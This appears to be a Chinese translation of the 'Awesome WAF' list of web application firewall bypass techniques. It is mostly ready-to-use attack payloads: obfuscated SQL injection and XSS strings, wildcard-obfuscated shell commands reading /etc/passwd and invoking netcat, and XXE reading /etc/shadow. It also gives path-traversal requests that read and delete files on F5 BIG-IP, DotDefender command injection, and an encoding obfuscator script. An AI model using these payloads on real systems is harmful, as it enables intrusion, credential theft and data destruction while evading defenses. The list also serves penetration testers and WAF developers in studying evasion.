精华内容
下载资源
问答
  • Awesome WAF 中文翻译、各种绕过手法

    千次阅读 2020-01-18 21:13:00
    翻译文 https://github.com/0xInfection/Awesome-WAF 绕过手法 fuzz/爆破 ... Seclists/Fuzzing. ... Other Payloads 可能会被ban ip,...多少waf 使用正则匹配。 黑名单检测/bypass Case: SQL 注入 • Step 1: ...

    翻译文

    https://github.com/0xInfection/Awesome-WAF

    绕过手法

    fuzz/爆破

    正则绕过

    多少waf 使用正则匹配。

    黑名单检测/bypass

    Case: SQL 注入

    • Step 1:

    过滤关键词: and, or, union
    可能正则: preg_match('/(and|or|union)/i', $id)

    • 被拦截的语句: union select user, password from users
    • bypass语句: 1 || (select user from users where user_id = 1) = 'admin'

    • Step 2:

    过滤关键词: and, or, union, where

    • 被拦截的语句: 1 || (select user from users where user_id = 1) = 'admin'
    • bypass语句: 1 || (select user from users limit 1) = 'admin'

    • Step 3:

    过滤关键词: and, or, union, where, limit

    • 被拦截的语句: 1 || (select user from users limit 1) = 'admin'
    • bypass语句: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

    • Step 4:

    过滤关键词: and, or, union, where, limit, group by

    • 被拦截的语句: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
    • bypass语句: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

    • Step 5:

    过滤关键词: and, or, union, where, limit, group by, select

    • 被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
    • bypass语句: 1 || 1 = 1 into outfile 'result.txt'
    • bypass语句: 1 || substr(user,1,1) = 'a'

    • Step 6:

    过滤关键词: and, or, union, where, limit, group by, select, '

    • 被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
    • bypass语句: 1 || user_id is not null
    • bypass语句: 1 || substr(user,1,1) = 0x61
    • bypass语句: 1 || substr(user,1,1) = unhex(61)

    • Step 7:

    过滤关键词: and, or, union, where, limit, group by, select, ', hex

    • 被拦截的语句: 1 || substr(user,1,1) = unhex(61)
    • bypass语句: 1 || substr(user,1,1) = lower(conv(11,10,36))

    • Step 8:

    过滤关键词: and, or, union, where, limit, group by, select, ', hex, substr

    • 被拦截的语句: 1 || substr(user,1,1) = lower(conv(11,10,36))
    • bypass语句: 1 || lpad(user,7,1)

    • Step 9:

    过滤关键词: and, or, union, where, limit, group by, select, ', hex, substr, white space

    • 被拦截的语句: 1 || lpad(user,7,1)
    • bypass语句: 1%0b||%0blpad(user,7,1)

    混淆 编码

    1. 大小写

    标准: <script>alert()</script>
    Bypassed: <ScRipT>alert()</sCRipT>

    标准: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
    Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

    2. URL 编码

    被阻断语句: <svG/x=">"/oNloaD=confirm()//
    Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

    被阻断语句: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
    Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

    3. Unicode 编码

    标准: <marquee onstart=prompt()>
    混淆: <marquee onstart=\u0070r\u06f\u006dpt()>

    被阻断语句: /?redir=http://google.com
    Bypassed: /?redir=http://google。com (Unicode 替代)

    被阻断语句: <marquee loop=1 onfinish=alert()>x
    Bypassed: <marquee loop=1 onfinish=alert︵1)>x (Unicode 替代)

    TIP: 查看这些说明 this and this reports on HackerOne. :)

    4. HTML 实体编码

    标准: "><img src=x onerror=confirm()>
    Encoded: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (General form)
    Encoded: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (Numeric reference)

    5. 混合编码

    • Sometimes, WAF rules often tend to filter out a specific type of encoding.
    • This type of filters can be bypassed by mixed encoding payloads.
    • Tabs and newlines further add to obfuscation.

    混淆:

    <A HREF="h
    tt  p://6   6.000146.0x7.147/">XSS</A>
    

    7. 双重URL编码

    • 这个需要服务端多次解析了url编码

    标准: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
    混淆: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

    标准: <script>alert()</script>
    混淆: %253Cscript%253Ealert()%253C%252Fscript%253E

    8. 通配符使用

    • 用于linux命令语句注入,通过shell通配符绕过

    标准: /bin/cat /etc/passwd
    混淆: /???/??t /???/??ss??
    Used chars: / ? t s

    标准: /bin/nc 127.0.0.1 1337
    混淆: /???/n? 2130706433 1337
    Used chars: / ? n [0-9]

    9. 动态payload 生成

    标准: <script>alert()</script>
    混淆: <script>eval('al'+'er'+'t()')</script>

    标准: /bin/cat /etc/passwd
    混淆: /bi'n'''/c''at' /e'tc'/pa''ss'wd

    Bash allows path concatenation for execution.

    标准: <iframe/onload='this["src"]="javascript:alert()"';>
    混淆: <iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t()"';>

    9. 垃圾字符

    • Normal payloads get filtered out easily.
    • Adding some junk chars helps avoid detection (specific cases only).
    • They often help in confusing regex based firewalls.

    标准: <script>alert()</script>
    混淆: <script>+-+-1-+-+alert(1)</script>

    标准: <BODY onload=alert()>
    混淆: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>

    NOTE: 上述语句可能会破坏正则的匹配,达到绕过。

    标准: <a href=javascript;alert()>ClickMe
    Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

    10. 插入换行符

    • 部分waf可能会对换行符没有匹配

    标准: <iframe src=javascript:confirm(0)">
    混淆: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">

    11. 未定义变量

    • bash 和 perl 执行脚本中加入未定义变量,干扰正则。

    TIP: 随便写个不存在的变量就好。$aaaa,$sdayuhjbsad,$dad2ed都可以。

    • Level 1 Obfuscation: Normal
      标准: /bin/cat /etc/passwd
      混淆: /bin/cat$u /etc/passwd$u

    • Level 2 Obfuscation: Postion Based
      标准: /bin/cat /etc/passwd
      混淆: $u/bin$u/cat$u $u/etc$u/passwd$u

    • Level 3 Obfuscation: Random characters
      标准: /bin/cat /etc/passwd
      混淆: $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

    一个精心制作的payload

    $sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf
    

    12. Tab 键和换行符

    • 大多数waf匹配的是空格不是Tab

    标准: <IMG SRC="javascript:alert();">
    Bypassed: <IMG SRC=" javascript:alert();">
    变形: <IMG SRC=" jav ascri pt:alert ();">

    标准: http://test.com/test?id=1 union select 1,2,3
    标准: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

    标准: <iframe src=javascript:alert(1)></iframe>
    混淆:

    <iframe    src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
    

    13. Token Breakers(翻译不了 看起来说的就是sql注入闭合)

    • Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
    • Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
    • However, the request must still remain valid while using token-breakers.

    • Case: Unknown Token for the Tokenizer
      • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --
    • Case: Unknown Context for the Parser (Notice the uncontexted bracket)
      • Payload 1: ?id=123);DROP TABLE users --
      • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

    TIP: 更多payload可以看这里 cheat sheet.

    14. 其他格式混淆

    • 许多web应用程序支持不同的编码类型(如下表)
    • 混淆成服务器可解析、waf不可解析的编码类型

    Case: IIS

    • IIS6, 7.5, 8 and 10 (ASPX v4.x) 允许 IBM037 字符
    • 可以发送编码后的参数名和值

    原始请求:

    POST /sample.aspx?id1=something HTTP/1.1
    HOST: victim.com
    Content-Type: application/x-www-form-urlencoded; charset=utf-8
    Content-Length: 41
    
    id2='union all select * from users--
    

    混淆请求 + URL Encoding:

    POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
    HOST: victim.com
    Content-Type: application/x-www-form-urlencoded; charset=ibm037
    Content-Length: 115
    
    %89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
    

    The following table shows the support of different character encodings on the tested systems (when messages could be 混淆 using them):

    TIP: 可以使用 这个小脚本 来转化编码

    import urllib.parse, sys
    from argparse import ArgumentParser
    lackofart = '''
            OBFUSCATOR
    '''
    
    def paramEncode(params="", charset="", encodeEqualSign=False, encodeAmpersand=False, urlDecodeInput=True, urlEncodeOutput=True):
        result = ""
        equalSign = "="
        ampersand = "&"
        if '=' and '&' in params:
            if encodeEqualSign:
                equalSign = equalSign.encode(charset)
            if encodeAmpersand:
                ampersand = ampersand.encode(charset)
            params_list = params.split("&")
            for param_pair in params_list:
                param, value = param_pair.split("=")
                if urlDecodeInput:
                    param = urllib.parse.unquote(param)
                    value = urllib.parse.unquote(value)
                param = param.encode(charset)
                value = value.encode(charset)
                if urlEncodeOutput:
                    param = urllib.parse.quote_plus(param)
                    value = urllib.parse.quote_plus(value)
                if result:
                    result += ampersand
                result += param + equalSign + value
        else:
            if urlDecodeInput:
                params = urllib.parse.unquote(params)
            result = params.encode(charset)
            if urlEncodeOutput:
                result = urllib.parse.quote_plus(result)
        return result
    
    def main():
        print(lackofart)
        parser = ArgumentParser('python3 obfu.py')
        parser._action_groups.pop()
    
        # A simple hack to have required arguments and optional arguments separately
        required = parser.add_argument_group('Required Arguments')
        optional = parser.add_argument_group('Optional Arguments')
    
        # Required Options
        required.add_argument('-s', '--str', help='String to obfuscate', dest='str')
        required.add_argument('-e', '--enc', help='Encoding type. eg: ibm037, utf16, etc', dest='enc')
    
        # Optional Arguments (main stuff and necessary)
        optional.add_argument('-ueo', help='URL Encode Output', dest='ueo', action='store_true')
        optional.add_argument('-udi', help='URL Decode Input', dest='udi', action='store_true')
        args = parser.parse_args()
        if not len(sys.argv) > 1:
            parser.print_help()
            quit()
        print('Input: %s' % (args.str))
        print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo)))
    
    if __name__ == '__main__':
        main()
    
    服务器信息 可用编码 说明
    Nginx, uWSGI-Django-Python3 IBM037, IBM500, cp875, IBM1026, IBM273 对参数名和参数值进行编码
    服务器会对参数名和参数值均进行url解码
    需要对等号和& and进行编码(不进行url编码)
    Nginx, uWSGI-Django-Python2 IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 对参数名和参数值进行便慢慢
    服务器会对参数名和参数值均进行url解码
    等号和&符号不应该以任何方式编码。
    Apache-TOMCAT8-JVM1.8-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 参数名按原始格式(可以像往常一样使用url编码)
    Body 不论是否经过url编码均可
    等号和&符号不应该以任何方式编码
    Apache-TOMCAT7-JVM1.6-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 参数名按原始格式(可以像往常一样使用url编码)
    Body 不论是否经过url编码均可
    等号和&符号不应该以任何方式编码
    IIS6, 7.5, 8, 10 -ASPX (v4.x) IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 参数名按原始格式(可以像往常一样使用url编码)
    Body 不论是否经过url编码均可
    等号和&符号不应该以任何方式编码

    HTTP 参数污染

    手法

    • 这种攻击方法基于服务器如何解释具有相同名称的参数
    • 可能造成bypass的情况:
      • 服务器使用最后接收到的参数,WAF只检查第一个参数
      • 服务器将来自类似参数的值联合起来,WAF单独检查它们

    下面是相关服务器对参数解释的比较

    环境 参数解析 示例
    ASP/IIS 用逗号连接 par1=val1,val2
    JSP, Servlet/Apache Tomcat 第一个参数是结果 par1=val1
    ASP.NET/IIS 用逗号连接 par1=val1,val2
    PHP/Zeus 最后一个参数是结果 par1=val2
    PHP/Apache 最后一个参数是结果 par1=val2
    JSP, Servlet/Jetty 第一个参数是结果 par1=val1
    IBM Lotus Domino 第一个参数是结果 par1=val1
    IBM HTTP Server 最后一个参数是结果 par1=val2
    mod_perl, libapeq2/Apache 第一个参数是结果 par1=val1
    Oracle Application Server 10G 第一个参数是结果 par1=val1
    Perl CGI/Apache 第一个参数是结果 par1=val1
    Python/Zope 第一个参数是结果 par1=val1
    IceWarp 返回一个列表 [‘val1’,’val2’]
    AXIS 2400 最后一个参数是结果 par1=val2
    DBMan 由两个波浪号连接起来 par1=val1~~val2
    mod-wsgi (Python)/Apache 返回一个列表 ARRAY(0x8b9058c)

    浏览器 Bugs:

    Charset Bugs:

    • 可以尝试 修改 charset header to 更高的 Unicode (eg. UTF-32)
    • 当网站解码的时候,触发payload

    Example request:

    GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
    Host: site.com
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
    Accept-Charset:utf-32; q=0.5<
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    

    当站点加载时,将其编码为我们设置的UTF-32编码,然后由于页面的输出编码为UTF-8,将其呈现为:"<script>alert (1) </ script> 从而触发xss

    完整url编码后的 payload:

    %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80 
    

    Null 空字节

    • 空字节通常用作字符串终止符

    Payload 示例:

    <scri%00pt>alert(1);</scri%00pt>
    <scri\x00pt>alert(1);</scri%00pt>
    <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
    

    标准: <a href="javascript:alert()">
    混淆: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
    变形: <a 0x00 href="javascript:alert(1)">clickme</a>

    解析错误

    • RFC 声明节点名不可以由空白起始
    • 但是我们可以使用特殊字符 ` %, //, !, ?`, etc.

    例子:

    • <// style=x:expression\28write(1)\29> - Works upto IE7 (Source)
    • <!--[if]><script>alert(1)</script --> - Works upto IE9 (Reference)
    • <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference)
    • <%div%20style=xss:expression(prompt(1))> - Works Upto IE7

    Unicode 分隔符

    • 每个浏览器有不同的分隔分隔符

    @Masato Kinugawafuzz 后发现如下

    • IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
    • Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
    • Safari: 0x2C, 0x3B
    • FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
    • Opera: 0x09, 0x20, 0x2C, 0x3B
    • Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

    示例

    <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
    

    使用其他非典型等效语法结构替换

    • 找的waf开发人员没有注意到的语句进行攻击

    一些WAF开发人员忽略的常见关键字:

    • JavaScript functions:
      • window
      • parent
      • this
      • self
    • Tag attributes:
      • onwheel
      • ontoggle
      • onfilterchange
      • onbeforescriptexecute
      • ondragstart
      • onauxclick
      • onpointerover
      • srcdoc
    • SQL Operators
      • lpad
          lpad( string, padded_length, [ pad_string ] ) lpad函数从左边对字符串使用指定的字符进行填充
          lpad('tech', 7); 将返回' tech'
          lpad('tech', 2); 将返回'te'
          lpad('tech', 8, '0'); 将返回'0000tech'
          lpad('tech on the net', 15, 'z'); 将返回'tech on the net'
          lpad('tech on the net', 16, 'z'); 将返回'ztech on the net
        
      • field
        FIELD(str,str1,str2,str3,...)
        返回的索引(从1开始的位置)的str在str1,str2,STR3,...列表中。如果str没有找到,则返回0。
        +---------------------------------------------------------+
        | FIELD('ej', 'Hej', 'ej', 'Heja', 'hej', 'foo')          |
        +---------------------------------------------------------+
        | 2                                                       |
        +---------------------------------------------------------+
        
      • bit_count 二进制数中包含1的个数。 BIT_COUNT(10);因为10转成二进制是1010,所以该结果就是2

    示例payloads:

    • Case: XSS
      <script>window['alert'](0)</script>
      <script>parent['alert'](1)</script>
      <script>self['alert'](2)</script>
      
    • Case: SQLi
      SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
      1%0b||%0bLPAD(USER,7,1)
      

      可以使用许多替代原生JavaScript的方法:

    • JSFuck
    • JJEncode
    • XChars.JS

    滥用SSL/TLS密码:

    • 很多时候,服务器可以接收各种SSL/TLS密码和版本的连接。
    • 初始化到waf不支持的版本

    • 找出waf支持的密码(通常WAF供应商文档对此进行了讨论)。
    • 找出服务器支持的密码(SSLScan这种工具可以帮助到你)。
    • 找出服务器支持但waf不支持的

    Tool: abuse-ssl-bypass-waf

    滥用 DNS 记录:

    • 找到云waf后的源站

    TIP: 一些在线资源 IP HistoryDNS Trails

    Tool: bypass-firewalls-by-DNS-history

    bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
    

    请求头欺骗

    • 让waf以为请求来自于内部网络,进而不对其进行过滤。

    添加如下请求头

    X-Originating-IP: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    X-Client-IP: 127.0.0.1
    

    Google Dorks Approach:

    • 应对已知waf的绕过

    搜索语法

    • Normal search:
      +<wafname> waf bypass

    • Searching for specific version exploits:
      "<wafname> <version>" (bypass|exploit)

    • For specific type bypass exploits:
      "<wafname>" +<bypass type> (bypass|exploit)

    • On Exploit DB:
      site:exploit-db.com +<wafname> bypass

    • On 0Day Inject0r DB:
      site:0day.today +<wafname> <type> (bypass|exploit)

    • On Twitter:
      site:twitter.com +<wafname> bypass

    • On Pastebin
      site:pastebin.com +<wafname> bypass

    已知的bypass:

    Airlock Ergon

    • SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult
      %C0%80'+union+select+col1,col2,col3+from+table+--+
      

    AWS

    Barracuda

    <body style="height:1000px" onwheel="alert(1)">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
    <b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
    
    GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
    Host: favoritewaf.com
    User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
    
    <a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere
    

    Cerber (WordPress)

    • Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son
    POST host.com HTTP/1.1
    Host: favoritewaf.com
    User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
    
    author=1
    
    http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
    http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar
    
    http://host/index.php/wp-json/wp/v2/users/
    

    Citrix NetScaler

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
       <soapenv:Header/>
       <soapenv:Body>
            <string>’ union select current_user, 2#</string>
        </soapenv:Body>
    </soapenv:Envelope>
    
    http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e
    

    Cloudflare

    <div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X
    
    <a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>
    
    <svg onload=prompt%26%230000000040document.domain)>
    <svg onload=prompt%26%23x000000028;document.domain)>
    xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
    1'"><img/src/onerror=.1|alert``>
    
    <svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f
    
    <a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this['document']['cookie']&rpar;">X</a>`
    
    <--`<img/src=` onerror=confirm``> --!>
    
    javascript:{alert`0`}
    
    <base href=//knoxss.me?
    
    <j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x 
    
    cat$u+/etc$u/passwd$u
    /bin$u/bash$u <ip> <port>
    ";cat+/etc/passwd+#
    

    Comodo

    <input/oninput='new Function`confir\u006d\`0\``'>
    <p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme
    
    0 union/**/select 1,version(),@@datadir
    

    DotDefender

    PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
    <enabled>false</enabled>
    
    • Remote Command Execution (v3.8-5) by @John Dos
    POST /dotDefender/index.cgi HTTP/1.1
    Host: 172.16.159.132
    User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Connection: keep-alive
    Authorization: Basic YWRtaW46
    Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 95
    
    sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15
    
    GET /c?a=<script> HTTP/1.1
    Host: 172.16.159.132
    User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
    rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    <script>alert(1)</script>: aa
    Keep-Alive: 300
    
    <svg/onload=prompt(1);>
    <isindex action="javas&tab;cript:alert(1)" type=image>
    <marquee/onstart=confirm(2)>
    
    <p draggable=True ondragstart=prompt()>alert
    <bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;&lpar;&rpar;%20draggable=True>dragme
    
    • GET - XSS Bypass (v4.02) by @DavidK
    /search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E
    
    <img src="WTF" onError="{var
    {3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
    h%2Bn)(/0wn3d/.source)" />
    
    • POST - XSS Bypass (v4.02) by @DavidK
    <img src="WTF" onError="{var
    {3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
    .source)" />
    
    /?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ 
    

    Fortinet Fortiweb

    /waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
    /waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 
    

    POST Type Query

    POST /<path>/login-app.aspx HTTP/1.1
    Host: <host>
    User-Agent: <any valid user agent string>
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: <the content length must be at least 2399 bytes>
    
    var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>
    

    GET Type Query

    http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>
    

    F5 ASM

    <table background="javascript:alert(1)"></table>
    "/><marquee onfinish=confirm(123)>a</marquee>
    

    F5 BIG-IP

    <body style="height:1000px" onwheel="[DATA]">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
    <body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
    
    <body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
    <div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>
    
    https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
    
    POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
    Host: bigip
    Cookie: BIGIPAuthCookie=*VALID_COOKIE*
    Content-Length: 143
    
    <?xml  version="1.0" encoding='utf-8' ?>
    <!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
    <message><dialogueType>&e;</dialogueType></message>
    

    Read Arbitrary File

    /tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd
    

    Delete Arbitrary File

    POST /tmui/Control/form HTTP/1.1
    Host: site.com
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
    Content-Type: application/x-www-form-urlencoded
    
    _form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete
    

    F5 FirePass

    state=%2527+and+
    (case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
    BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+ 
    

    ModSecurity

    ;+$u+cat+/etc$u/passwd$u
    
    ;+$u+cat+/etc$u/passwd+\#
    
    /???/??t+/???/??ss??
    
    /?in/cat+/et?/passw?
    
    0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
    
    1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')
    
    1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
    
    amUserId=1 union select username,password,3,4 from users
    
    %0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
